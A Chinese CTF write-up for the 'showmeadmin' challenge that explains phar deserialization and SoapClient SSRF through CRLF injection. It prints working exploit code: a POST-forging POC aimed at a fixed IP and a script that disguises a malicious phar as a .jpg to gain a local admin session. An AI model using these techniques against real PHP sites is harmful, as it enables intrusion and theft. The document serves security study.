@TOC


前言

去年的一道比赛题,一直没来得及看,借着复现的机会学习了一下phar反序列化和Soap ssrf,仔细研究官方wp后发现这题竟然如此精妙,感叹良久,必须写篇博客记录学习一下

phar反序列化

phar反序列化即在文件系统函数,如file_exists()is_dir()等,在参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作,这里只写下简单介绍,后面几天再详细学习一下phar

一个phar文件包括四个部分:

  • a stub:可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
  • a manifest describing the contents:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
  • the file contents:被压缩文件的内容。
  • (optional) a signature for verifying Phar integrity (phar file format only):签名,放在文件末尾

如下为示例,构造一个phar文件

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>'); //设置stub,添加GIF头,可以绕过图片格式检查
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

(注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。)

Soap SSRF

php中有一个SoapClient类,该类的构造函数如下:
public SoapClient :: SoapClient (mixed $wsdl [,array $options ])

第一个参数是用来指明是否是wsdl模式。

第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

举个简单例子:

1
2
3
4
5
<?php
$target='http://localhost:6666';
$a = new SoapClient(null,array('location' => $target,'uri'=> "123"));
$a->func();
?>

在执行一个SoapClient没有的成员函数时,会自动调用该类的__Call方法,访问如下php文件将会向$target发送一个soap请求,并且uri选项是我们可控的地方。

1
2
3
4
5
6
7
8
9
10
11
12
13
C:\Users\14169 > nc -lvvp 6666
listening on [any] 6666 ...
connect to [127.0.0.1] from LAPTOP-KU3AQ3O9 [127.0.0.1] 63016
POST / HTTP/1.1
Host: localhost:6666
Connection: Keep-Alive
User-Agent: PHP-SOAP/7.3.4
Content-Type: text/xml; charset=utf-8
SOAPAction: "123#func"
Content-Length: 367

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="123" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:func/></SOAP-ENV:Body></SOAP-ENV:Envelope>

而在SoapClient的参数中还有一个可选项为user_agent,可以自定义发送的soap请求的User-Agent的值。
由于user_agent参数可控,结合CRLF注入可以实现发生任意POST报文
最后给出wupco师傅的生成任意POST报文的POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$target = 'http://123.206.216.198/bbb.php';
$post_string = 'a=b&flag=aaa';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: xxxx=1234'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);
echo $aaa;
?>

题目名称:showmeadmin

访问题目直接给出index源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
index.php

<?php
session_start();

error_reporting(0);
highlight_file(__FILE__);
include_once 'class.php';

//flag.php

if ($_SERVER['REMOTE_ADDR'] === '127.0.0.1')
$_SESSION['admin'] = true;
else
$_SESSION['admin'] = false;

if (!empty($_FILES['image']['tmp_name'])) {

$tmp_name = $_FILES['image']['tmp_name'];
$filename = $_FILES['image']['name'] ?: $_GET['file'];
if (is_uploaded_file($tmp_name)) {
$upload = new upload($tmp_name, $filename);
$upload->uploadImage();
}
} else {
if (isset($_GET['file']) && substr($_GET['file'], 0, 3) === 'php' && substr($_GET['file'], -3, 3) === 'php')
echo file_get_contents($_GET['file']);
}
?>

可以注意到源代码中有一个函数file_get_contents($_GET['file']),由于file变量限定首尾必须都是php,于是可以想到通过php://filter伪协议读出 class.php 和 flag.php 源码

1
2
3
4
5
6
7
8
9
flag.php

<?php
session_start();
if (isset($_SESSION['admin']) && $_SESSION['admin'] === true)
echo file_get_contents('flag');
else
echo "Only localhost admin can get the flag!";

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
class.php

<?php

class upload
{
public $check;
public $tmp_name;
public $filename;

public function __construct($tmp_name, $filename)
{
$this->check = new Check();
$this->filename = $filename;
$this->tmp_name = $tmp_name;
}

public function uploadImage()
{
if ($this->check->checkName($this->filename)) {
$filepath = "uploads/" . $this->filename;
if (move_uploaded_file($this->tmp_name, $filepath)) {
echo "Upload success! File is located in " . $filepath;
} else
echo "Upload fail!";
} else
echo "Hacker!";
}

public function __destruct()
{
$filepath = dirname(__FILE__) . "/uploads/" . $this->filename;
if (file_exists($filepath)) {
if (!$this->check->checkContent($filepath)) {
@unlink($filepath);
echo "\n";
echo "Dangerous file!";
}

}
}
}

class Check
{
public $allow_exts;

public function __construct()
{
$this->allow_exts = array('jpg', 'png', 'gif');
}

public function checkName($filename)
{
$ext = pathinfo($filename, PATHINFO_EXTENSION);
if (stristr($filename, "/") !== false)
return false;
else
return in_array($ext, $this->allow_exts, true);
}

public function checkContent($filename)
{
if (stristr(file_get_contents($filename), "<?php") !== false)
return false;
else
return true;
}
}

Q1:如何访问flag.php?
本题要获取flag就必须访问flag.php文件,但 flag.php 文件在访问时会验证$_SERVER['REMOTE_ADDR']是否为本地,这种验证ip的方式无法进行伪造,那我们就需要找到一个ssrf的攻击点来进行本地访问

Q2:如何进行ssrf,没有回显怎么办?
由前面的介绍很容易想到ssrf的实现方式,就是通过构造SoapClient类来发送任意POST报文,从而访问flag.php,
但是发送的报文看不到回显,而这时就要利用本题开启的session,在第一次访问后会将if ($_SERVER['REMOTE_ADDR'] === '127.0.0.1')的判断结果存储在$_SESSION['admin']
所以我们的思路就是在ssrf的报文中自定义一个PHPSESSID=xxx对flag.php进行访问,再用这个sessionid进行访问就能成功访问到flag.php

Q3:SoapClient类如何访问不存在的方法?
soap类进行ssrf需要调用一个不存在的方法,可以发现upload 类的__destruct方法调用了 $this->check->checkContent,我们只用把$this->check控制为soap类即可。

而源码中还有一个上传功能,但限制了后缀和文件内容,无法直接上传webshell
结合以上两点,这里能使用的思路就是先上传一个phar文件(改为jpg等合法后缀),再访问phar文件触发反序列化,这个phar的meta-data为一个upload类,这个upload类的成员变量check就是我们定义的soap类

上传了exp.jpg后,通过?file=php://filter/resource=phar://./uploads/exp.jpg/exp.php来访问,从而触发soap类不存在的方法,完成ssrf

下面给出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$target = 'http://127.0.0.1:80';
$headers = array(
'Cookie: PHPSESSID=ar',
);
$a = new SoapClient(null, array('location' => $target, 'user_agent' => "ar\r\n" . join("\r\n", $headers), 'uri' => "123"));

class upload
{
public $check;
public $filename;
public function __construct($check, $filename)
{
$this->filename = $filename; $this->check = $check;
}
}
$exp = new upload($a, 'exp.jpg');
$phar = new Phar("exp.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?gml __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($exp); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算
$phar->stopBuffering();
rename("exp.phar", "exp.jpg");

通过php文件生成一个exp.jpg,再构造一个post包来上传exp.jpg文件
在这里插入图片描述
成功上传后再访问?file=php://filter/resource=phar://./uploads/exp.jpg/exp.php,此时ssrf已经成功,我们只用带着刚刚自定义的sessionid就可以访问flag.php了
在这里插入图片描述
在这里插入图片描述


总结

phar反序列化 + Soap SSRF + session利用